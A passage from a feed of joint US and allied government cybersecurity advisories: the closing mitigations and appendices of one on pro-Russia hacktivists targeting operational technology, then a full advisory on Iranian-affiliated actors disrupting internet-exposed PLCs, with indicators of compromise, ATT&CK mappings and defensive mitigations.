Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.
Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.
Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.




Adopt mature asset management processes, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [CPG 2.A].

Keep remote access services updated with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.

Keep VNC systems updated with the latest version available.


Refer to the joint Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.


Ensure OT assets use robust authentication procedures.

Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.
Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [CPG 3.A] [CPG 3.B] [CPG 3.C] [CPG 3.F].
Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [CPG 3.E].
Disable any unused authentication methods, logic, or features, such as default authentication keys and default passwords. Block all unused high ephemeral ports and monitor for attempted connections using standard protocols on non-standard ports [CPG 3.R].
Authenticate all access to field controllers before authorizing access to, or modification of, a device’s state, logic, program, or filesystems.


Enable control system security features that can separate and audit view and control functions. Limiting remotely accessible or default user accounts to “view-only” removes the potential for impact without exploiting a vulnerability [CPG 3.G].
Implement and practice business recovery/disaster recovery plans. Plans should also take into consideration redundancy, fail-safe mechanisms, islanding capabilities, backup restoration, and manual operation.

Include scenarios that necessitate switching to manual operations. Maintaining the capability of an organization to revert to manual controls to quickly restore operations is vital in the immediate aftermath of a cyber incident [CPG 6.A].
Create backups of the engineering logic, configurations, and firmware of HMIs to enable fast recovery. Organizations should routinely test backups and standby systems to ensure safe manual operations in the event of an incident [CPG 3.O].


Collect and monitor the traffic of OT assets and networking devices. This includes unusual logins or unexpected protocols communicating over the internet, and functions of ICS management protocols that change an asset’s operating mode or modify programs.
Review configurations for setpoint ranges or tag values to stay within safe ranges and establish alerting for deviations.
Take a proactive approach in the procurement process by following the guidance outlined in the joint guide Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.

OT Device Manufacturers
Although critical infrastructure organizations can take steps to mitigate risks, it is ultimately the responsibility of OT device manufacturers to build products that are secure by design. The authoring organizations urge device manufacturers to take ownership of the security outcomes of their customers in line with the joint guide Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software.

Eliminate default credentials and require strong passwords. The use of default credentials is a top weakness threat actors exploit to gain access to systems.
Mandate MFA for privileged users. Changes to engineering logic or configurations are safety-impacting events in critical infrastructure. MFA should be available for safety critical components at no additional cost.
Practice secure by default principles. OT components were initially designed without public internet connectivity in mind. When internet connection becomes necessary, implementing additional security measures is essential to safeguard these systems. Manufacturers should recognize insecure states and promptly inform users so they can make informed risk decisions.

Include logging at no additional charge. Change and access control logs allow operators to track safety-impacting events in their critical infrastructure. These logs should be available for no cost and use open standard logging formats.


Publish Software Bill of Materials (SBOMs). Vulnerabilities in underlying software libraries can affect a wide range of devices. Without an SBOM, it is nearly impossible for a critical infrastructure system owner to measure and mitigate the impact of a vulnerability on their existing systems. See CISA’s SBOM webpage for more information.

Additionally, see CISA’s Secure by Design Alert on how software manufacturers can shield web management interfaces from malicious cyber activity. By using secure by design tactics, software manufacturers can make their product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on secure by design, see CISA’s Secure by Design webpage.
Validate Security Controls
In addition to applying mitigations, the authoring organizations recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The authoring organizations recommend testing your existing security controls inventory to assess how it performs against the ATT&CK techniques described in this advisory.
To start:

Select an ATT&CK technique described in this advisory (see Table 1 to Table 10).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
Resources
Entities requiring additional support for implementing any of the mitigations in this advisory should contact their regional CISA Cybersecurity Advisor for assistance. Key resources organizations should reference include:

CISA, EPA, NSA, FBI, ASD’s ACSC, Cyber Centre, BSI, NCSC-NL, and NCSC-NZ’s Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators offers best practices to assist organizations in identifying and prioritizing which assets should be secured and protected.
CISA, FBI, NSA, EPA, DOE, USDA, FDA, MS-ISAC, Cyber Centre, and NCSC-UK’s guidance on Defending OT Operations Against Ongoing Pro-Russia Hacktivist Activity that can help organizations protect OT systems from pro-Russia hacktivist activity.
NSA and CISA’s guidance on Control System Defense: Know the Opponent helps organizations defend OT and ICS assets against malicious cyber activity.
CISA and EPA’s resource page on Water and Wastewater Cybersecurity to help organizations reduce risks posed by malicious cyber actors targeting water and wastewater systems.

For additional guidance, see CISA, EPA, and FBI’s fact sheet on Top Cyber Actions for Securing Water Systems.


The Food and Ag-ISAC’s best practices on Food and Ag Cybersecurity: A Guide for Small & Medium Enterprises provides recommendations to help mitigate against cyber threats.
DOE and National Association of Regulatory Utility Commissioners Cybersecurity Baselines for Electric Distribution Systems and Distributed Energy (DER) webpage provides resources for state public utility commissions and utilities, as well as DER operators and aggregators to help mitigate cybersecurity risks.

Additional resources that apply to this advisory include:

EPA’s Cybersecurity for the Water Sector resource page provides organizations with guidance on implementing basic cyber hygiene practices.
CISA’s Cross-Sector Cybersecurity Performance Goals enables critical infrastructure organizations to reduce the likelihood and impact of known risks and adversary techniques.
CISA’s Require Strong Passwords webpage supports small and medium-sized businesses mitigating against malicious cyber activity that targets weak passwords.
CISA, NSA, FBI, EPA, TSA, and international partners’ guidance Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products.
DOE’s guidance on Cyber-Informed Engineering recommends considering cyber-enabled risks during the conception, design, and development phases when manufacturing physical systems.
CISA’s Cyber Hygiene Services help enable critical infrastructure organizations to reduce their exposure to threats by taking a proactive approach to monitoring and mitigating attack vectors.
CISA, NSA, FBI, and international partners’ guidance on Shifting the Balance of Cybersecurity Risk: Principles and Approaches for Secure by Design Software urges software manufacturers to provide customers with products that are safer and more secure.

See more information in these Secure by Design Alerts: How Manufacturers Can Protect Customers by Eliminating Default Passwords and How Software Manufacturers Can Shield Web Management Interfaces From Malicious Cyber Activity.



Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472) or your local FBI field office. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact.
For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.

Australian organizations: Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories.
Canadian organizations: Report incidents by emailing Cyber Centre at contact@cyber.gc.ca.
New Zealand organizations: Report cyber security incidents to incidents@ncsc.govt.nz or call 04 498 7654.
United Kingdom organizations: Report a significant cyber security incident: report.ncsc.gov.uk (monitored 24 hours) or, for urgent assistance, call 03000 200 973.
Disclaimer
The information in this report is being provided “as is” for informational purposes only. The authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and co-sealers.
Acknowledgements
Schneider Electric, Nozomi Networks, Eversource Energy, Electricity Information Sharing and Analysis Center, Chevron, BP, and Dragos contributed to this advisory.
Version History
December 09, 2025: Initial version.
Appendix A: Targeting Methodologies for Pro-Russia Hacktivist Groups
For further information on targeting methodologies for pro-Russia hacktivist groups, see:

CISA’s alert Unsophisticated Cyber Threat Actor(s) Targeting Operational Technology;
The joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology; and
CISA’s Russia Cyber Threat webpage.

Appendix B: Additional Designators Used for Cited Groups
The cybersecurity industry and cyber actor groups often use various names to reference actor groups. While not exhaustive, the following are the most notable names used within the cybersecurity community to reference the groups in this advisory.
Note: Cybersecurity organizations have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the authoring organizations’ understanding for all activity related to these groupings.

GRU military unit 74455

Sandworm Team
Voodoo Bear
Seashell Blizzard
APT44


Cyber Army of Russia Reborn (CARR)

CyberArmy of Russia
Народная CyberАрмия (НКА)
People’s CyberArmy of Russia (PCA)
Russian CyberArmy Team (RCAT)


NoName057(16)

NoName057(16) Spain
NoName057(16) Italy
NoName057(16) France


Z-Pentest

Z-Pentest Beograd
Z-Pentest Alliance
Z-Alliance





Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
Sat, 25 Jul 2026 09:12:34 +0200
Advisory at a Glance



Title
Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure


Original Publication
April 7, 2026


Last Update 
July 22, 2026


Executive Summary
The authoring agencies urgently warn U.S. organizations of ongoing Iranian-affiliated cyber targeting of internet-connected operational technology (OT) devices, including programmable logic controllers (PLCs). These actions disrupted PLCs across several U.S. critical infrastructure sectors through malicious project file interactions and manipulation of data on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays, resulting in operational disruption and financial loss.


Last Update Description
This update adds new guidance on detecting malicious changes in reusable code modules exploited within Rockwell Automation PLC programs. It also expands scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practices for secure deployment.


Affected Products
Potentially all internet exposed PLCs, including Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and other branded/manufactured PLCs.


Key Actions


Install PLCs consistent with manufacturers' guidelines and security best practices.
Remove PLCs from direct internet exposure via secure gateway and firewall; work with IT/OT team members and/or integrators to perform this action.
Query available logs for the provided indicators of compromise (IOCs) and check available logs for suspicious traffic on the ports associated with OT devices, including 44818, 2222, 102, and 502, especially traffic originating from foreign hosting providers.
For Rockwell Automation devices, place the physical mode switch on the controller into run position. If you suspect your organization was targeted, including against other branded PLC devices, contact the authoring agencies and PLC manufacturer for guidance.




Indicators of Compromise

For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (July 2026) (29 KB)
AA26-097A STIX JSON (July 2026) (30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:

AA26-097A STIX XML (36 KB)
AA26-097A STIX JSON (12 KB)
 




Intended Audience

Organizations: Critical Infrastructure
Sectors: Government Services and Facilities, Water and Wastewater Systems (WWS), and Energy 
Roles: Integrators, asset owners, defensive cybersecurity analysts, OT cybersecurity engineers, cybersecurity architects, secure systems developer




Introduction
Note: This advisory was originally published on April 7, 2026, to provide tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) related to ongoing cyber exploitation of internet-connected operational technology (OT) devices by Iranian-affiliated advanced persistent threat (APT) actors. The authoring agencies updated this advisory on July 22, 2026, to add new guidance on detecting malicious changes in reusable code modules leveraged within Rockwell Automation PLC programs. It also expands the manufacturer scope to include observed targeting of Schneider Electric, Siemens, and potentially other branded/manufactured PLCs, emphasizing the importance of restricting direct internet access and providing best practice resources for secure deployment.
The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), Environmental Protection Agency (EPA), Department of Energy (DOE), United States Cyber Command – Cyber National Mission Force (CNMF), and Department of the Treasury (Treasury) (hereafter referred to as the “authoring agencies”) are urgently warning U.S. organizations of ongoing cyber exploitation of internet-connected OT devices—including PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs—across multiple U.S. critical infrastructure sectors. As a result of this activity, organizations from multiple U.S. critical infrastructure sectors experienced disruptions through malicious interactions with PLC project files¹ and the manipulation of data displayed on human machine interface (HMI) and supervisory control and data acquisition (SCADA) displays. In a few cases, this activity caused operational disruption and financial loss.
The authoring agencies assess a group of Iranian-affiliated APT actors is conducting this activity to cause disruptive effects within the United States. The group targeted devices spanning multiple U.S. critical infrastructure sectors, including Government Services and Facilities (to include local municipalities), Water and Wastewater Systems (WWS), and Energy Sectors. The authoring agencies previously reported on similar activity targeting PLCs by CyberAv3ngers (aka Shahid Kaveh Group)—a cyber threat actor affiliated with Iran’s Islamic Revolutionary Guard Corps (IRGC) Cyber Electronic Command (CEC).
Due to the widespread use of these PLCs, and the potential for additional targeting of other branded OT devices across critical infrastructure, the authoring agencies recommend U.S. organizations urgently review the TTPs and IOCs in this advisory for indications of current or historical activity on their networks, and apply the recommendations listed in the Mitigations section of this advisory to reduce the risk of compromise.
If owners and operators discover an affected internet-accessible device in their environment, additional technical measures may be necessary to evaluate the risk of compromise. Please engage your cyber incident response plans and contact the authoring agencies and applicable vendors through existing support channels available to customers and integrators (see Contact Information) to receive support, mitigation, and investigation assistance.
For more information on Iranian malicious cyber activity, see CISA’s Iran Threat Overview and Advisories webpage and the FBI’s Iran Threat and Iran Cyber Threat Overview webpages.
Download the PDF version of this report:






    
    Iranian-Affiliated Cyber Actors Exploit Programmable Logic Controllers Across US Critical Infrastructure
    (PDF,       1.09 MB
  )
  

(New, July 22, 2026) For a downloadable copy of July 22, 2026 IOCs, see:

AA26-097A STIX XML (XML, 29 KB)
AA26-097A STIX JSON (JSON, 30 KB)

For a downloadable copy of historical April 7, 2026 IOCs, see:






    
    AA26-097A.stix_.xml
    (XML,       35.97 KB
  )
  







    
    AA26-097A.stix_.json
    (JSON,       11.87 KB
  )
  

Background Information
Similar Historical Activity Targeting Programmable Logic Controllers
During a similar campaign beginning in November 2023, the IRGC CEC-affiliated cyber threat actors known as "CyberAv3ngers” targeted U.S.-based PLCs and HMIs, causing disruptive effects. Private industry and open sources also refer to this group as Hydro Kitten, Storm-0784, APT Iran, Bauxite, Mr. Soul, Soldiers of Solomon, UNC5691, and the Shahid Kaveh Group. These attacks compromised at least 75 devices, targeting U.S.-based Unitronics PLC devices with an HMI used across multiple critical infrastructure sectors, including the WWS. APT actors developed and deployed custom ladder logic code to these devices, replacing the valid ladder logic with malicious code that continues to be observed to date.
For more information on this group’s activity, see the joint Cybersecurity Advisory IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities.
Ongoing Threat Actor Activity Against U.S.-Based Programmable Logic Controllers
The FBI observed Iranian-affiliated APT actors targeting internet-exposed PLCs with the intent to cause disruptions—including maliciously interacting with project files, and manipulating data displayed on HMI and SCADA displays—to U.S. critical infrastructure organizations. Iranian-affiliated APT targeting campaigns against U.S. critical infrastructure have recently escalated, likely in response to hostilities between Iran, and the United States and Israel.
(New, July 22, 2026) At one U.S. victim, the FBI observed the APT actors download a malicious project file to a targeted PLC using configuration software. Analysis indicated the project file retained ladder logic for downstream function but added logic that overrode specific instruction sets responsible for maintaining safe operating parameters in the victim’s environment.
Since at least March 2026, the authoring agencies identified (through engagements with victim organizations) an Iranian-affiliated APT group disrupted the function of PLCs. Organizations across several U.S. critical infrastructure sectors (including Government Services and Facilities, WWS, and Energy Sectors) deployed these PLCs within a wide variety of industrial automation processes. Some of the victims experienced operational disruption and financial loss.
Technical Details
Note: This advisory uses the MITRE ATT&CK^® Matrix for Enterprise framework, version 19. See the MITRE ATT&CK Tactics and Techniques section of this advisory for tables of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques.
Initial Access
(Updated, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using several foreign-based IP addresses to access internet-facing PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other manufactured PLCs [T0883]. The actors used leased, third-party hosted infrastructure and manufacturers’ PLC programming software to connect to misconfigured victim PLCs. Inbound malicious traffic has been observed targeting PLC devices on the following ports: 44818, 2222, 102, and 502, as well as targeting modems on port 22. Targeted devices include:

Rockwell Automation: CompactLogix and Micro850 PLCs
Schneider Electric: BMX P34/Modicon M340 PLCs
Siemens: S7-1200 series PLCs

Command and Control
(Updated, July 22, 2026) The targeting of ports [T0885] associated with other OT vendors’ protocols suggests these actors are opportunistically targeting devices manufactured by companies other than Rockwell Automation/Allen-Bradley, including Schneider Electric and Siemens. In one reported instance, the actors utilized Dropbear Secure Shell (SSH) software on victim modems to enable them to gain remote access through port 22 [T1219].
Exfiltration
(New, July 22, 2026) The authoring agencies observed Iranian-affiliated APT actors using configuration software—such as Rockwell Automation’s Studio 5000 Logix Designer, Schneider Electric’s EcoStruxure Control Expert, and Siemens’ Totally Integrated Automation (TIA) Portal—on leased, third-party hosted infrastructure to exfiltrate device project files from PLC devices to threat-actor-controlled infrastructure [T1041].
Impact
(Updated, July 22, 2026) After the actors extracted device project files, the FBI and CISA identified the modification and deletion of project file logic, to include Add-On Instructions (AOIs) and data manipulation on HMI and SCADA displays [T1565]. Additionally, the changes disabled critical shutdown and alarm logic, allowing systems to enter unsafe conditions without notifying operators of the anomalies.
Note: An AOI is analogous to a “Function Block” or “User Defined Function Block” used in other PLC vendor programs.
Indicators of Compromise
See Table 1 and Table 2 for recent IP addresses used by the Iranian-affiliated APT actors to communicate with PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, and Siemens in the United States.
Disclaimer: The FBI observed the threat actors using the IP addresses listed below in the specified time frames. This data is being provided for customers to query against logs for indications of historical targeting by the Iranian-affiliated APT actors. The authoring agencies recommend organizations investigate or vet these IP addresses prior to taking action, such as blocking.

Table 1. Indicators of Compromise (New, July 22, 2026)


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]175
September 2025
February 2026


141.11.164[.]153
January 2026
June 2026


175.110.121[.]42
February 2026
March 2026


175.110.121[.]39
February 2026
March 2026


175.110.121[.]41
February 2026
March 2026


175.110.121[.]107
February 2026
February 2026


192.142.54[.]79
May 2026
June 2026


84.200.205[.]165
May 2026
June 2026


185.225.17[.]225
June 2026
July 2026


79.133.46[.]209
July 2026
July 2026


88.80.150[.]199
July 2026
July 2026


88.80.150[.]200
July 2026
July 2026


88.80.150[.]202
July 2026
July 2026




Table 2. Indicators of Compromise 


Indicator
Beginning of Actor Association
End of Actor Association




185.82.73[.]162
January 2025
March 2026


185.82.73[.]164
January 2025
March 2026


185.82.73[.]165
January 2025
March 2026


185.82.73[.]167
January 2025
March 2026


185.82.73[.]168
January 2025
March 2026


185.82.73[.]170
January 2025
March 2026


185.82.73[.]171
January 2025
March 2026


135.136.1[.]133
March 2026
March 2026



MITRE ATT&CK Tactics and Techniques
See Table 3 to Table 6 for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.

Table 3. Initial Access


Technique Title
ID
Use




Internet Accessible Device
T0883
The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.



 

Table 4. Command and Control


Technique Title
ID
Use




Commonly Used Port
T0885
The actors leveraged commonly used OT ports to communicate with PLCs.


Remote Access Tools 
T1219
The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port 22.




Table 5. Exfiltration (New, July 22, 2026)


Technique Title
ID
Use




Exfiltration Over C2 Channel
T1041
The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.




Table 6. Impact


Technique Title
ID
Use




Data Manipulation
T1565
The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.



Mitigations
The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s CPGs webpage for more information on the CPGs, including additional recommended baseline protections.
Network Defenders
The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.
(Updated, July 22, 2026) In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:

Rockwell Automation: Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at PSIRT@rockwellautomation.com for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.


Refer to Rockwell Automation Security Advisory SD1771 for recommended PLC hardening measures and configuration guidance.


Schneider Electric: Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.


Refer to Schneider Electric’s Recommended Cybersecurity Best Practices and Cybersecurity User Guide for Modicon Controller Platform for guidance on securing and configuring PLCs.


Siemens: Contact Siemens ProductCERT at productcert@siemens.com for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.


Refer to Siemens Security Bulletin 104599 for a list of security measures to harden PLCs and in-depth configuration guides.
Siemens users should review the Cybersecurity for Industry Operational Guidelines and implement defense-in-depth controls within their automation systems.



Immediate steps to prevent the attack:

Disconnect the PLC from the public-facing internet [CPG 3.S]. Follow the joint guidance Secure connectivity principles for OT to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.


Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.
Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.
(New, July 22, 2026) To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).


(New, July 22, 2026) Strictly control network access to PLC devices.


Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.


For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s²System Security Design Guidelines for manufacturer’s instructions.)


(New, July 22, 2026) Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.


For devices that allow software key switching, enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ Cybersecurity for Industry Operational Guidelines for the manufacturer’s instructions.)

Follow-up steps to strengthen security posture:

(New, July 22, 2026) Review project files running on PLCs for unauthorized changes. Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the Customer Guidance to Disconnect Devices from the Internet, check the AOIs for any anomalous modifications.


If restoring from backups, verify the backup does not contain malicious logic before deployment.
Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.


(New, July 22, 2026) Ensure device passwords are changed from their default and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.
(New, July 22, 2026) Take defensive measures to minimize the risk of exploitation. Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.
Create and test strong backups of the logic and configurations of PLCs. Store backup files offline and secure the physical removal media to enable fast recovery.
Implement multifactor authentication (MFA) [CPG 3.F] for access to the OT network from an external network.
If remote access is required, implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access.


A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.
Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.


Keep PLC devices updated with the latest software patches issued by the manufacturer. Use established downtime windows to install patches. Known Exploited Vulnerabilities may need to be prioritized outside a downtime window.
Configure external and internal firewalls to block traffic using common ports associated with network protocols that are unnecessary for the particular network segment.
Disable any unused authentication methods, logic, or features, such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.
Monitor asset management systems for device configuration changes, which can be used to understand expected parameter settings.
Monitor the content of network traffic for the following:


Unusual logins to internet-connected devices or unexpected protocols to/from the internet. 
Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.


(New, July 22, 2026) Ensure service providers are informed of active threats targeting internet-connected PLC devices. Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.

In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:

Reduce risk exposure. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s Cyber Hygiene Services can help provide additional review of organizations’ internet-accessible assets. 

Device Manufacturers
Note: The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. 
Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products, primarily:

Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.
Do not charge additional fees for basic security features needed to operate the product securely.
Support MFA, including via phishing-resistant methods.

By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.
For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations. For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
Validate Security Controls
In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:

Select an ATT&CK technique described in this advisory (see Table 3 to Table 6).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&CK techniques identified in this advisory.
Resources

Authoring Agencies: IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities
CISA: Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers
EPA: Cybersecurity for the Water Sector
CISA: Water and Wastewater Cybersecurity
CISA: Exploitation of Unitronics PLCs used in Water and Wastewater Systems
CISA: Iran Threat Overview and Advisories
FBI: The Iran Threat and Cyber Threat Overview: Iran
CISA, MITRE: Best Practices for MITRE ATT&CK Mapping
CISA: Decider Tool
CISA: Cross-Sector Cybersecurity Performance Goals 2.0
CISA: No-Cost Cybersecurity Services and Tools
CISA: Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products
NSA, CISA: NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations
CISA: Secure by Design
FBI, CISA: Primary Mitigations to Reduce Cyber Threats to Operational Technology
United Kingdom National Cyber Security Centre: Secure connectivity principles for operational technology

Contact Information
U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:

Contact CISA via CISA’s 24/7 Operations Center at contact@cisa.dhs.gov or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s Internet Crime Complaint Center (IC3) or contact your local FBI field office. When available, please include the following information regarding the incident: 

Date, time, and location of the incident;
Type of activity;
Number of people affected;
Type of equipment used for the activity; and
Name of the submitting company or organization, and a designated point of contact.


For NSA cybersecurity guidance inquiries, contact CybersecurityReports@nsa.gov.
Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact EnergySRMA@hq.doe.gov.
Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at PSIRT@rockwellautomation.com.
Contact the Schneider Electric CPCERT at cpcert@se.com for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.
